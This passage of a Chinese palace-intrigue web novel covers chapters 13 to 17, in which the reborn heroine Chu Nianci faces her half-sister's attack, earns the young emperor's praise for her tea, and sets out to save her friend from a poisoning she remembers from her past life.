岚姑姑缓缓说道,“圣上少年天子,春秋才十七,太后娘娘反复斟酌,选了镇北将军府的嫡长女蔺氏为后,皇后比圣上大三岁,性子温柔娴雅,皇上对她很是敬重,如今宫中并无嫔妃,陛下尚无子嗣,圣上说刚刚即位,一切从简,暂不选妃,可我瞧着太后的意思,为了皇家开枝散叶,再过个把月,正式的选秀怕是就要开始了。”
楚念辞知道这是岚姑姑有心提点,听得更认真。
团圆在边上轻声问道:“姑姑,这选秀想必最看重的是德言容功这些?”
“那是自然,可最重要的还是家世,”岚姑姑点了点头,“太尉府、宰相府和太后娘娘的娘家……恐怕都早就备好了人选。”
楚念辞前世做至一品夫人。
当然知道这太尉府位高权重,掌管着北方边塞兵马。
宰相大人是文坛领袖,在朝政上举足轻重。
而太后,前世在朝贺时见过几次,全身浸淫着历经两朝的威势,陛下忙着前朝,后宫现在除了陛下的寝宫,其余地方都在她的掌控之中。
真是三足鼎立,够小皇帝喝一壶的,她有点幸灾乐祸地想。
撷芳殿紧靠着御花园。
这时午后学完规矩,楚念辞与岚姑姑带着几个小宫女到花园里一处比较隐秘的角落研习茶道。
楚念辞打着茶末,茶香四溢,香气袅袅。
午时吃了炙羊肉,她特意泡了一杯开胃消食的梅子红茶,手艺和味道受到岚姑姑交口称赞。
正惬意着,忽听一道尖细的熟悉嗓音传来:
“楚念辞,你是进宫学规矩,倒比娘娘还会享受。”
第13章 楚舜卿向楚念辞发难
第13章楚舜卿向楚念辞发难
楚念辞回头一看,来人竟是自己的庶妹楚舜卿,身边还跟着一位衣着讲究神情倨傲的嬷嬷,楚舜卿正带着她冷冷地朝这边走来。
楚念辞慢慢站起身,打量着自己的庶妹。
见她虽穿着官服,整个人却显得格外憔悴,眼角、嘴角的脂粉涂得厚重可还是遮不住那淤青。
而且整张脸青白交加,就像害了大病似的。
可见她这些天过得不好。
此刻楚舜卿见到嫡姐面色红润娇若海棠,过得如此滋润,气得血气上涌,眼底几乎要滴出血来。
那日圣旨接走楚念辞后,喜宴便做不下去。
承恩伯府本就是根基浅薄的新贵,宾客们多是看在皇后颜面才来走个过场。
谁料竟目睹伯府算计儿媳嫁妆的丑态,末了“新妇”还被圣旨直接抬进了宫。
虽然这出戏比戏台子上唱得还热闹,可世家贵胄最重脸面,不等开席便纷纷寻了由头告辞。
“家中忽有要事,贺礼送到,宴席就不叨扰了。”
“时光不早,回程尚远,先告辞了。”
一位连一位,带着家眷走得干干净净。
满堂山珍海味大席已经铺开,却空无一人,如同一脚又一脚,狠狠踢在蔺家人身上。
老伯爷夫妇臊得无地自容,谢氏头疼病又犯了,回了寿安堂。
蔺景瑞羞愤交加,草草应付了残局,在母亲房中伺候到半夜,回到威瑞轩,想起全都是因为楚舜卿的所作所为,才导致如此丢脸,便连主屋都没进,直接宿在了侧厢。
当夜,楚舜卿独自歇在威瑞轩,捂着脸哭到半夜,昏昏沉沉睡去。
蔺景瑞见主屋灯熄,便也和衣而睡。
谁知睡到半夜,主屋突然传来激烈的厮打与哭骂声。
蔺景瑞起初以为是楚舜卿闹脾气,不耐地掌灯推门,却见一位赤身露体男人与仅着肚兜的楚舜卿在床上扭打……
蔺景瑞脑中轰然一响,血气直冲头顶。
他冲上去一拳砸在楚舜卿脸上,又一脚将男人踹飞,揪着对方头发狠狠往桌沿上撞。
直到那人满脸是血地哭嚎“三弟饶命”,他才骇然认出这竟是自己那位“已死”的长兄。
“你怎么会在这儿?”蔺景瑞瞠目结舌道,“不是跟你说,不许进主屋。”
“我为何不能在这儿?”蔺景藩一边抹着血,一边慢条斯理捡起裤子套上,“我与自己的夫人洞房,有何不对?”
蔺景瑞一口老血堵在喉咙口,上不去也下不来,只觉眼前发黑,眼睁睁看着他大摇大摆推门而去。
楚舜卿裹着被子缩在床角嘤嘤哭泣,眼角被那拳打得乌青。
蔺景瑞却只冷冷地盯着她,恼火地问:“哭,你怎么还有脸哭?到底有没有被他得手?”
楚舜卿浑身一僵,难以置信地瞪着他。
受辱的是她,他不安慰自己便罢,竟先质疑她的清白?
蔺景瑞见她这般神情,脸色更沉,拂袖摔门而出。
楚舜卿瘫在凌乱的喜床上,哭了半夜,眼睛肿如桃核。
恨意如毒藤缠满心脏。
楚念辞!
若不是为气她,自己怎会住进这威瑞轩?
又怎会撞上那本该消失的蔺景藩?
不对,这一切定是楚念辞早布的局!
是她将那男人塞进自己房中!
好恶毒的心肠。
自己用功劳送她进宫,她竟如此害自己。
好,自己这辈子与楚念辞不死不休。
她在府中静养几日,用冰片敷着,眼上淤青渐消。
一打听,得知蔺景瑞求见皇后竟被婉拒,心下便明了,他去求皇后,定是想接回姐姐。
而皇后必已知晓这件事儿,顾及皇家颜面,必是不肯相助,她真担心皇后会不会心软,又听说谢氏头风犯得厉害,蔺景瑞为母病焦头烂额,暂且按下心思。
楚舜卿对着铜镜,缓缓勾起一抹冷笑。
楚念辞,你给我等着,我绝对饶不了你。
翌日,她便进了宫,自知闯了祸,不敢直接面见皇后,转而求见了皇后身边的掌事姑姑夏冬姑姑,先告了罪,又期期艾艾地说明来意,想求她将嫡姐调去冷僻之处。
夏冬姑姑是皇后陪嫁,三十来岁,身量苗条,皮肤白皙,面容清冷矜持,一双吊梢眼精明老练,虽然风华正茂,两眉之间已有一道深深的竖纹,可见平时忧思之重。
静静听完她的来意,心中明镜似的。
皇后为那桩丑事气得几日没睡好,可碍于体面不便亲自发落。
眼下最好的法子,就是把楚念辞打发到辛者库或浣衣局那等不见天日的地方去。
夏冬姑姑瞧着眼前楚舜卿这张又恨又怕的脸,暗自冷笑。
真是打瞌睡有人送枕头。
既然这蠢货自己撞上来,不如就让她去当这把刀,横竖祸是她自己闯的。
她特意等到皇后午歇,才领着楚舜卿过来,打定了主意要把楚念辞彻底摁进泥里。
见夏冬姑姑非但不拦,反而暗中推了一把,楚舜卿只觉胸中那口恶气终于找到了倾泻口。
这下可轮到楚念辞吃苦头了!
她非得亲眼看看嫡姐那副狼狈相不可。
官女子又怎样?
有夏姑姑撑腰
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,她什么都不怕。
再说了,撷芳殿教引岚姑姑是全宫最严苛的,这回等着看楚念辞挨罚受罪的模样。
可谁知……
当她满心期待地找到嫡姐时,看见的却是这样一幕:
花园凉亭里,楚念辞与岚姑姑正相对而坐。
石桌上摆着几样精巧点心并一壶清茶,两人一边品茶一边说话。
岚姑姑脸上竟带着难得的和蔼笑容,看向楚念辞的眼神里,甚至透出几分慈爱。
想到自己前几日受的**,再看看眼前这刺眼的画面。
楚舜卿眼眶被刺得发红。
她整个人都懵了。
怎么会这样?
前世她也曾与岚姑姑打过交道,甚至为她诊过脉。
记忆中这位嬷嬷极难说话,莫说一同喝茶谈笑,便是连个笑脸都未曾给过。
为此,自己没有给她治腰的伤药,就是想看这严厉的近乎刻薄姑姑受点罪。
可为什么这辈子……她偏偏对楚念辞这般好?
简直像换了个人!
究竟是哪里出了错?
楚舜卿死死盯着凉亭里那幅和乐融融的景象,心里像打翻了调料罐子,酸涩妒恨搅成一团,烧得她胃都疼了。
见她们过来,岚姑姑领着楚念辞起身。
夏冬姑姑是皇后属宫里的御前女官,而她只是撷芳殿的三等姑姑。
品阶高过她二阶。
岚翠忙起身,端正向她见了礼。
楚念辞是官女子,尚未侍寝,依规矩端端正正朝夏冬姑姑行了万福,便安静退到一旁。
楚舜卿偏不想放过她。
看着她这副悠闲模样,气不打一处来,冷声斥道:“规矩不学,躲在喝茶,比娘娘还会享受。”
她语含指摘,仿佛自己才是主事之人。
“我宫里头的事,还轮不到楚内医过问,”岚姑姑语气冷淡。
她认得楚舜卿……前段腰扭伤,去内医院想讨些膏药,就被她一句“正为皇后娘娘配药”给堵了回来,此刻自然没个好脸色。
“那我有没有权力过问?”夏冬姑姑冷冷地开了口。
岚姑姑顿了顿,平静解释:“夏姑姑别误会,我们并非偷懒,是在教她点茶。”
“点茶?”夏冬姑姑那双精明的吊梢眼没有一丝波澜,“这是什么地方?她一个刚入宫的小小官女子,学点茶做什么?”
楚舜卿趁机夏姑姑道:“您瞧瞧,这分明是找借口躲懒,不如把她送到辛者库去,好好磨磨筋骨,也省得在这儿学这些没用的。”
夏冬姑姑听了,并未立刻接话,只将目光缓缓投向始终静立一旁的楚念辞……
第14章 明肃帝端木清羽
“点茶是御前或主位娘娘身边的大宫女才需学的,”夏冬姑姑耷拉着眼皮,声音平淡,“分明是在此躲懒。”
说着,她上前一步,瞥了眼茶汤,撇撇嘴:“况且这手艺粗陋,怎配到御前伺候?”
岚姑姑这时候也看出来。
这二人是专程来找茬的。
虽不知她们之间具体恩怨,但想到楚念辞若真被罚,自己也难免受牵连,便咬牙恭声道:“夏姑姑,楚选侍不是普通宫女,她蒙陛下与娘娘恩典封为官女子,我见她学得认真,想着日后或有机会到御前或主位娘娘宫里当差,这才教了点茶。”
夏冬姑姑是认得岚姑姑的。
这位在太妃宫里就以严厉出名,有时甚至比自己还苛刻。
难得听她这般替人说话,不由抬眼细看了看楚念辞……容貌明艳,举止娴雅,最难的是通身那股端庄沉静的气韵,心下不由一惊。
这般品貌,若真的让她上位,皇后娘娘怕是逊色……绝不能让她有露脸的机会。
但她知道岚姑姑是从老太妃身边出来的,到底得给几分面子,不好直接反驳,只阴沉着脸扫了楚舜卿一眼。
楚舜卿立刻会意,急声道:“岚姑姑您别被她骗了,我这姐姐最会装模作样,人前一副端庄样子,背地里不知多龌龊,我就是被她骗了,才向皇后娘娘求恩典让她进宫,谁知她恩将仇报,竟怂恿舅父大闹婚宴,害我在府中颜面尽失,更让夫君与我离心,您说,这般恶毒之人,是不是只配送到辛者库去?”
岚姑姑闻言,目光唰地落在楚念辞身上,团圆气得脸通红,可因为被岚姑姑教导了几日规矩,又不敢轻易插口。
几个小宫女,面面相觑,没想到她进宫前,是这般背景,脸上露出不可思议的表情。
见庶妹当众撕破脸皮,楚念辞也不留情面了。
“楚舜卿,原念在姐妹情分给你留三分颜面,既然你不要脸,我也不必客气了。”
她冷冷地嗤笑,“你说的是你自己吧!”
“明知我正备嫁,却偷偷追着我未婚夫南下,见自己挣不来正妻之位,便想出‘兼祧两房’这等荒唐主意,说什么‘用功劳送我进宫’,不过是想夺我的正妻之位,如今我应召入宫,你瞧事情办砸了,倒想全推到我头上。”
“你闭嘴……”楚舜卿脸色由黑转红,突然扬手就朝她脸上扇去……
团圆早防着她,猛地侧身一挡。
那一巴掌结结实实落在了团圆脸上,白嫩的颊边顿时肿起一道鲜红掌印。
团圆顿时捂着脸,委屈巴巴。
岚姑姑见状,杏眼微眯,径直走到团圆面前,抬起她下巴细看了看,语气平静无波:“宫女虽身份低微,可既入了宫,便是陛下的女人,损毁圣上女人容颜,你说,该当何罪?”
楚舜卿前世今生,都是皇后特招入宫,有皇后的撑腰,根本没有认真研习宫规。
这巴掌打得实在不妥,处罚宫人,只有嫔妃或掌事姑姑才有这个权利。
楚舜卿闻言笑容一僵,想辩解几句,终究没敢开口,只讪讪低下头。
夏冬姑姑气得嘴角微抽,见她这般无用,只好自己出手了:“岚姑姑说得在理,宫中冲突,犯了禁,便不是你我私自处置的。”
她扬声道,“来人,将涉事三人统统带到掖庭司去!”
身后几个粗壮嬷嬷立刻挽袖上前。
楚舜卿吓傻了,“扑通”跪地磕头不迭:“饶命,是、是我一时气愤……”
楚念辞却面不改色,既不认罪也不辩解,只静静地立着。
团圆死死抱着她的手臂,浑身发抖,却一步不退。
岚姑姑冷眼瞧着这场闹剧,也想上前阻止,无奈位卑言轻。
几个嬷嬷上前拉扯半天,竟没能把两人分开。
那粗壮的嬷嬷急了,伸手就要去揪团圆耳朵。
“住手!”楚念辞厉声道,还真把那些婆子吓得住了手。
她心想大不了闹个鱼死网破,也比被她们带走强。
看夏冬这架势,定是背着皇后过来。
否则也不会先让庶妹出头发难。
这自己做主想要给主子分忧,办成未必受嘉奖,若是办砸了,肯定于她不利。
她暗暗戒备,正准备用戒指上的金针伺候这些欺软怕硬的东西……
眼角余光却瞥见远处冬青树后,敬喜正恭敬地引着一位身着明黄服饰的少年转进花园中来。
她心头一震,能让敬喜这般低头弯腰的……会不会是,高高在上的那人?
电光石火间,她顺势跪倒在地,目光却紧锁那抹明黄衣角。
夏冬姑姑与众婆子,因为背对那处,并未看到有人
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过来,见楚念辞突然跪倒,也没多想,上前按住,当即就准备把人拖走。
“你们在做什么?”
敬喜一声厉喝陡然响起:“作死的东西,圣驾在此,还不跪迎。”
夏冬刚准备将人拖走了事,背后却猛然传来一声怒喝。
她回头一看,顿时两腿发软……陛下怎么会来这里?
但她到底是皇后身边的大宫女,临机应变的能力还是有的,她深吸一口气,整肃衣衫,恭恭敬敬伏地叩首。
众婆子见状吓得魂飞魄散,扑通扑通跪了一地。
转眼间,满院人全矮了半截。
满院寂然,无人敢出声。
唯有风过树梢的细微声响。
楚念辞前世曾远远见过这位皇帝,倒不甚惊慌,团圆却已吓得浑身发抖,紧紧偎在她身边,低着头缩成了一只小鹌鹑。
几息后……
一双纤尘不染的湛青色密绣团龙的靴子停在了她眼前。
楚念辞垂眸望着那双金线绣着龙纹靴子。
心中掠过前世的记忆,明肃帝端木清羽。
她对这位明肃帝……端木清羽的印象还在前世的浮光惊影中。
依稀只记得是个风华绝代的少年。
俊美如玉,气质如仙,可似乎身子骨不大健朗。
后来她困于内宅琐事,未曾多留意朝局,只隐约记得他在位五年后便病逝了。
虽曾遥望过几回,却从未如此近距离地见天颜。
想不到重生一世,竟会在这里遇见年轻的皇帝。
正想着,就见那双靴子朝茶桌走去,太监敬喜连忙用拂尘掸净凳面,又铺上一块雪白狐皮垫子,少年帝王这才缓缓坐下。
恰巧坐在楚念辞正前方。
她悄悄抬眼,目光从靴子上移,落在他搭在膝间的手上。
那双手虚握着,指节分明,白皙匀亭,像是用上好的羊脂玉细细雕琢出来的,指尖还透着淡淡的肉色光泽。
修长有力的手放在龙纹上,像是天下事尽在掌握。
楚念辞忍不住将视线缓缓移至龙袍上。
绣着祥云的龙袍在阳光下流动着细碎的金芒,几缕墨黑长发散在明黄衣料上,发丝光滑如缎,又像山涧的流瀑。
她正看得出神,忽听见敬喜一声轻咳。
楚念辞蓦然惊醒,慌忙低头屏息,再不敢抬眼。
第15章 楚舜卿被打烂脸
众人齐刷刷向明肃帝行礼,心中忐忑不安。
地上落下一道长长的影子。
这位登基不久、君临天下的少年天子个子很高,宽大的龙袍穿在他身上,显得飘逸出尘。
他似乎并未理会院中方才的混乱。
径直带人从双方中间走过,仿佛院子里发生的事,根本不存在似的。
楚念辞觉得他这几步,走得极妙。
刚好从双方中间走过,就是在告诉众人,不管发生了什么事,在朕的面前都得偃旗息鼓。
端木清羽目光轻轻落在那盏尚未冷却的茶汤上,静默片刻,才开口。
声音清泠泠的,如玉石相叩:“好茶,朕自登基以来,身边奉茶宫女换了几拨,却始终无人能沏出这般色、香、味俱全的茶。”
他顿了顿,抬眼问道,“这茶是谁沏的?”
岚姑姑是这里掌事姑姑,理应回禀,她忙低声道:“是新入宫的选侍楚氏所沏。”
明肃帝似是有了些兴趣:“近日宫中只添了一位选侍,可是皇后举荐的那位?”
“正是。”岚姑姑道。
“是哪一位?”端木清羽淡淡地问。
楚念辞垂眸应了一声。
“抬起头来。”上方传来温和清越的声音。
楚念辞闻言微微一怔,随即恭敬行了叩首礼,方缓缓仰起脸。
然后,她忽然明白了“云中白鹤,天上谪仙”并非只是书中虚言。
这样的人,原来真的会出现在世间。
前世为一品诰命,所遇的俊美的世家公子不少,却从未让她心头有过半分悸动。
而此刻,心跳竟没来由地漏了一拍。
端木清羽生得一副深邃的骨相。
眉如墨裁,眼似寒星。
唇线平直而色泽浅淡,鼻梁高挺如峰,下颌线条干净利落,最摄人的是那双眼睛,一双极其动人的丹凤眼,眼尾弧度天然微挑,本该多情,却因眸光太过清洌锐利,透出一股不容逼视的冷峻。
天光流转间,那双眸子淡淡扫来时,竟让她不敢以是与之对视,下意识想垂眼。
前世她从未遇到过如此目光慑人的男子。
与眼前这人相比,蔺景瑞不过徒有其表。
他身上那股锦绣堆里养出来的矜贵之气与帝王之威,令人不敢逼视。
但她仍忍住心悸,没有移开目光,这一细瞧,还真瞧出一点异样,端木清羽俊美的脸上有一丝隐隐约约的黑气……
那并非自然气色,倒像是……从骨子里透出的什么病气。
但随即被他眸光迫得她按下心头那丝凛意,楚念辞移开目光,将目光望向他肩头那精致的龙纹绣样。
端木清羽亦感到几分诧异。
眼前女子竟然敢真的打量了自己。
不由细细审视。
她生了一双极美的双凤眼,眉间一点胭脂痣,殷红如血,睫毛浓密纤长,眸光流转仿佛日光都随之明暗浮动,当真勾人心魄。
更让他觉得吸引的是她清澈见底的眸光,仿佛不染一丝的杂质,纯粹干净,然而端庄中又含着娇媚,这许多东西杂糅在一起。
让人觉得她身上有一股神秘而让人沉沦的东西。
他微微眯起眼……他那小舅子,端是好福气。
不过,这么好的福气给他自己弄丢了。
想起前几日敬喜回禀,蔺景瑞竟敢为一个女人,向他的内侍拔刀。
原本听说这女子是小舅子未过门的妻子,他还思忖着寻个由头将人送还。
可一听“拔刀”二字,他心底便掠过一丝不悦。
莫不是看他登基未久、根基尚浅,便想来试探皇权?
也正因这一念,倒让他对那个能让蔺景瑞不惜拔刀相争的女子,生出了几分好奇。
究竟是怎样的一个人?
今日早朝后,听闻人在撷芳殿,便顺道过来瞧瞧。
如今亲眼见了人,他才在心中暗道一句:“怪不得。”
“朕看你茶艺不俗,可是自幼**练?”端木清羽望着她,语气兴味。
楚念辞垂首应道:“回陛下,家母素爱饮茶,臣妾自幼随母亲学过些皮**。”
“哦?你母亲是?”端木清羽问。
“母亲是江南乔家之女。”楚念辞答。
“江南乔家?”端木清羽似乎有了兴致,“朕记得江南乔家曾捐献军饷?”
“捐献军饷的乔兆龄正是臣妾的舅父。”楚念辞道。
“原来如此,乔家一门忠烈,汝亦忠良之后,”端木清羽微微颔首,“那汝便为朕重沏一盏。”
楚念辞叩首应下,缓缓起身走到茶案前。
方才一瞥间,她已察觉这位年轻帝王眉宇间隐有疲态,眼下泛着淡淡青黑,料是案牍劳形、夜不安枕。
于是放弃惯用的茶叶,而是特意调了一剂安神茶。
敬喜此时一挥拂尘,立刻有小内监捧上一套茶具。
那杯身通透如琥珀,在光下流转着莹润光泽。
竟是罕见的夜光杯。
楚念辞心下微惊,这般珍品,便是母亲当年也只得一只,皇帝随手便是一套。
陛下才真是享尽人间富贵之人。
她按下心中的羡慕,凝神静气,素手执壶,温杯、投茶、注水,动作流畅如行云流水。
水雾袅袅升起,茶汤渐成清澈的琥珀色,一缕清雅药香混着淡淡甜香悄然散开。
沏好后,她双手将夜光杯奉至端木清羽手边,红唇开合,皓齿如雪:“陛下请用。”
端木清羽伸手接过,透明的玉杯与他白皙修长手指交相辉映。
他轻抚杯沿,低头浅嗅。
茶香清而不腻,隐隐有甘菊、合欢的草木清气,闻之便觉心神一静。
他浅啜一口,温热的茶汤滑入喉中,回甘绵长,连日积压的疲惫竟似缓了几分。
“茶香清逸,沁腑安神,”他放下杯盏,灿若星河的眼底掠过一丝赞许,“确是盏好茶。”
“你用的什么水?”端木清羽忽然问道,“好似不是宫中井水?”
“是。”楚念辞不由暗暗诧异,他竟然一口就能尝出来。
“这是臣妾晨起收的露珠。”
“好味,”他指尖轻叩杯沿,缓声念道,“‘浴兰汤兮沐芳,华采衣兮若英……’”
语罢,他竟不再多言,径直起身。
明黄衣袂如流云拂过石阶,人已翩然离去。
没有明确裁决,也未留
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下只字片语。
一句《楚辞》里的赞语,便已为今日之事定了性。
这女子,是他亲口品评过的人。
那些想要找茬的人,自然要掂量掂量。
满院宫人齐齐伏首:“恭送陛下……”
楚念辞随着众人行礼,抬眼望向那道渐行渐远的清绝背影。
楚念辞心头微凛。
这陛下刚刚出现几步就化解双方的对峙。
然后只用一句话,便轻描淡写解了她的困局。
如此容貌,如此心计。
她忽然意识到,往后在这深宫里。
那些妃嫔们赖以争宠的美貌与智慧,在他面前……恐怕都成了镜花水月……
以后自己若有机会再见到他,一定要谨慎再谨慎,小心再小心。
见圣驾离去,众人皆松了口气。
夏冬听到陛下那句赞诗,心知今日已不宜再动楚念辞。
她压下满心憋闷,正欲带人离开……
“站住。”
岚姑姑方才被人找茬,现在哪能轻易放过?
“陛下圣赞楚选侍,看来不用去掖庭,刚才动手**的事,现下就了吧,”她冷冷地盯住楚舜卿,“楚内医,你如何说?”
楚舜卿吓得腿都软了,满脑子只剩下后悔恐惧。
她勉强扶住旁边的椅子才没瘫下去,纵使心里一万个不甘,也只能咬牙朝楚念辞低下头,跪倒在地上:“楚选侍……对不起。”
夏冬这回没有说话,脸上没什么表情,只淡淡扫了她们一眼。
岚姑姑最看不惯这种没规矩还仗势欺人的,而且还视宫规如无物。
楚念辞心里暗暗冷笑。
楚舜卿前世仗着皇后宠爱,几时把宫规放在眼里?如今是现世现报。
楚念辞缓缓站起身,语气平静:“出言不逊我可以不计较,但你动手打了人,总得给个交代。”
夏冬只淡淡地对岚姑姑道:“你看着处置吧。”
楚舜卿见她不再护着自己,顿时慌了,一个劲地磕头求饶。
“违规责打宫女,推卸责任不知悔改,”岚姑姑声音冷硬,“来人,掌嘴二十,以儆效尤。”
她话音一落,旁边拿着戒尺的掌刑宫女便走上前,照着楚舜卿的脸“啪啪”就是一顿打。
刚才那两个动手的嬷嬷早已吓软,几人吓得魂飞魄散,连连作揖:“奴婢再也不敢了!”
边说边自扇耳光,心里早把楚舜卿恨透了。
夏冬终究没再说什么,带着人匆匆走了。
院子里一时安静下来,只剩清脆的耳光声。
二十下打完,楚舜卿的脸又红又肿,脂粉糊成一团,青紫交错,活像开了染坊。
楚念辞没再多看她一眼,转身去取了伤药,仔细给团圆敷上。
楚舜卿连话都说不出了,满心愤恨和不甘,只能狼狈地捂着脸,灰溜溜离开了院子。
接下来的日子,撷芳殿的宫女突然忙碌起来了。
因为太后娘娘下旨,再过几天,为陛下选秀。
此次选秀地点正好在撷芳殿,岚姑姑亦被选为主事,合宫上下,异常紧张。
楚念辞也很紧张,因为她知道这次选秀,会有一件大事发生……
第16章 改变沈澜冰命运
楚念辞知道,这件事关系到自己发小沈澜冰的命运。
前世的选秀,与舅父交好的镇国公也送了嫡女顾轻眉参选。
可不知怎么,顾小姐在选秀时竟被人下了毒,当场人就没了。
镇国公夫妇只有这一个女儿,疼得像眼珠子似的,得知噩耗当场晕倒,之后一病不起,很快就告老还乡了。
太后和皇上大为震怒,下令严查,可查来查去也没找到真凶。
就因为这事,牵连到了楚念辞从小一起长大的闺蜜沈澜冰。
沈澜冰比自己小一岁,父亲是扬州知府,正五品官,恰好是楚念辞父亲的顶头上司。
难得的是,澜冰从不嫌弃楚念辞母亲出身商贾,两人性情相投,常在一块玩儿。
也因为有这层关系,楚念辞的父亲在后宅多少还顾忌些,不敢太过对母亲假以辞色,母亲过了几年顺心的日子。
后来父亲能升任知州,多少也借了沈家一点力。
上辈子,楚念辞听说澜冰被卷入这桩案子,急得想递牌子进宫求情。
可皇后根本不见她。
她只好去求蔺景瑞帮忙打听,得来的消息却让她心凉。
只因选秀时沈澜冰与顾轻眉走得最近,嫌疑最大。
太后为了平息镇国公的怒火,下令将所有牵连的宫人全部处死。
对外只说沈澜冰“涉嫌谋害镇国公之女”,连她父亲扬州知府也被牵连下狱,全家流放,最后都死在了路上。
楚念辞为此伤心了很久。
哪怕后来当上了一品诰命,想起这事还是揪心地疼。
所以这一世,得知澜冰又来参选,楚念辞就一直留心找她。
尽管她让团圆帮忙留心,只是待选的秀女实在太多,始终没找到。
很快,殿选最后一轮的日子终于到了。
楚念辞记得清楚,前世那桩祸事就发生在今天。
这一世,她说什么也要护住好友。
其实以她现在的身份,本不必参与这些杂事。
但为了能名正言顺帮沈澜冰,她特意向岚姑姑讨了帮忙的差事。
岚姑姑见人手确实紧,便点头允了。
天还没大亮,通过前几轮甄选的秀女们,已齐聚在撷芳殿旁的侧殿里,个个精心装扮,花枝招展静候传召。
楚念辞将一颗避**递给团圆,自己也服下一颗,道:“咱们都把这个吃了。”
团圆接过,有点疑惑:“姑娘,宫里戒备森严,还用得上这个吗?”
楚念辞用手指轻轻点了点她的额头,笑得有些无奈:“傻丫头,这皇宫内院,有时候反而是最危险的地方。”
团圆不再多问,听话地把药丸吃了。
楚念辞对镜整理妆容。
她只往发间簪了几朵素净的绢花,又换上一身月白色的百褶裙,打扮得比寻常宫女还要清简。
“姑娘,”团圆一边帮她系衣带,一边忍不住说,“上回陛下还夸过您沏茶的手艺呢,今天好歹是殿选的大日子,您打扮得也太素净了些?”
楚念辞对着铜镜笑了笑:“我已经是选侍了,又不用参加选秀,打扮得花枝招展,除了惹灾招祸,还有什么用?”
团圆想了想,点头道:“奴婢明白了。”
不多时,妆扮妥当。
楚念辞一身月白裙衫,如出水清荷,墨发只用一支梅花簪松松绾着。
这簪子,正是沈澜冰当年送给她的。
一朵青色的梅花绽放在枝头,素净中透着雅致,将清纯与坚忍糅合得恰到好处。
楚念辞望着镜中的自己,唇角微弯,清水出芙蓉一尘不染。
自上次见过陛下后,她心里便存了个念头。
要想法子调到御前伺候。
不管能挣到什么位份,还有什么地方比天子身边更易见天颜,更易获得圣宠。
再说了,就看端木清羽那天茶具,便知道他生活是如何的精致。
调到御前便能用的宫里最好的东西,享受最好的生活。
“我问你,”她转头看向团圆,“陛下上次见到我,最先留意是什么?”
“是因为您点的茶香。”团圆想了想。
“是啊,”楚念辞语气笃定,“陛下固然欣赏美人,可他更看重女子有才艺。”
即便今日她不参与选秀,她也得在皇帝心里留下点印象。
上一回面圣,她已经占了一丝先机。
如今要做的,就是一步步,稳稳地加深这份印象。
辰时初,各位参选女子均已在宫人的引领下,来到了位于撷芳殿旁锦池苑。
因是初次选妃,端木清羽一开始就言明了限定在秩俸正五品以上的官宦人家。
不准扰民。
故而参加遴选的几乎全是公侯世族及达官贵戚
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家的小姐,并没有民间女子,
殿选的最后一轮即将开始,秀女们都等在偏殿里,只等传召官一声令下,便列队进入正殿。
团圆是末等宫女,不能随行,楚念辞便独自跟着引路太监,来到了撷芳殿的偏殿。
殿内秀女们聚在一块儿,个个盛装打扮,妆容精致。
能走到最后一轮的,自然都是千里挑一的美人,可楚念辞一出现,还是吸引了不少目光。
原因无他。
她虽穿得素净,一张脸却实在太过惹眼。
这里虽然美人如云,但像她这般眉目如画、气质独特的却少见。
尤其眉心那点朱砂痣,衬得她如雪中寒梅,清冷中自带一段风流。
她只是静静站在那儿,便有种妩媚与清纯交织、端庄与雅致并存的气度,让人移不开眼。
秀女们暗暗戒备。
不过,这种大日子,谁也不敢上前招惹,即便心里泛酸,面上也都规规矩矩的。
楚念辞从进殿就在找人。
她目光在人群中扫过,很快便落在了一只青瓷梅瓶旁……那里站着一位身姿高挑、落落大方的美人。
她心头一喜,快步走了过去:“冰儿!”
正是沈澜冰。
她穿着一身高雅大方的玉蝶穿花裙,静静地立在梅瓶边,裙上玉蝶仿佛都随着她的娴静而停驻。
一头乌发只用一支白玉兰簪子松松绾着,整个人便如枝头初绽的玉兰,清雅脱俗,亭亭玉立。
“辞姐姐?你怎么也在这儿?”
沈澜冰也认出了楚念辞,那张总是端雅从容的脸上,顿时绽开惊喜的笑容。
她快步走过来,即便心里欢喜,一举一动仍守着大家闺秀的礼数。
只轻轻握住楚念辞的手,压低声音问:“听说你嫁到了京城,我还以为往后难再见着了……你怎么会在这儿?”
再次见到她,楚念辞心里又暖又酸。
她看着澜冰清澈的眼眸,想起前世那桩无妄之灾……这样光风霁月、连后宅争执都不屑卷入的人,怎么可能丢下毒害人?
深宫之中,步步险境。
自己必须有能完全信任的帮手。
而现在,她能相信的,也只有眼前这个从小一起长大的妹妹了。
她暗暗握紧澜冰的手,在心中又一次立誓,这一世,绝不让那桩惨事重演。
第17章 你逃不出我的手掌心
“这里不是说话之地,以后我再告诉妹妹。”楚念辞看了看四周,压低声音说道。
沈澜冰听她这么说,知道这中间有许多曲折,也没多追问。
只是拉着她的手说起自己如何进京,告诉了她。
楚念辞笑着说,“姐姐品貌不凡,定能入陛下的眼,你若是进宫,咱们又在一起了。”
“嘘……”沈澜冰微羞但乃笑道,“今日佳丽济济,姐姐莫要取笑。”
看着好友依然这般明朗大方,楚念辞心里却浮起一丝疑虑……
澜冰是正经的官家嫡女,规矩教养都是极好的,这样一个人,上辈子怎么会卷进下毒案里?
真懊悔前世没弄清缘由,为今之计,她只能加倍小心,处处留神了。
两人正拉着手低声说笑。
小太监上前行了一礼:“哪位是楚选侍?”
楚念辞回头,见是个眼生的小太监,心里便提防起来,问道:“找我什么事?”
小太监道:“内医院有位大人想见您。”
说着从怀里摸出一块玉佩。
楚念辞一看,竟是当初自己送给蔺景瑞的那块,脸色顿时沉了下来:“我不认识什么大人。”
“选侍,”小太监压低声音,“那位大人说了,您若不去,他便亲自过来找您。”
楚念辞心头一跳……这人真是疯了,竟敢追到宫里来搅事。
没办法,这儿人多眼杂,让他过来岂不是更糟。
她只得转头对沈澜冰交代:“冰儿在这儿等我,我去去就回。”
沈澜冰点点头。
楚念辞跟着小太监一路穿园过径,越走越偏,最后停在一处荒僻的树丛边。
小太监身影一闪,就没入树后不见了。
楚念辞正迟疑,树丛里忽然伸出一只手,将她猛地拽了进去。
她一抬头,就撞上蔺景瑞那双阴沉的深黑的眼睛。
他穿着皱巴巴的深青官袍,玉带束腰,面容依旧俊美却含着一丝疲惫,双眼却紧紧锁着她,不甘又愤怒。
楚念辞心一沉,随即又慌跳了几下。
她也想过这蔺景瑞不会善罢甘休,只是没料到他来得这么快。
而且还是追到宫里来了。
她强自镇定,别开视线,脸上不见半点波澜。
蔺景瑞看着她的反应,眼神骤然转热切:“念辞,我找你有话说。”
楚念辞皱了皱黛眉,别开了脸。
蔺景瑞盯着她那副冷淡的模样,心里那点不甘和思念,渐渐烧成了恼火。
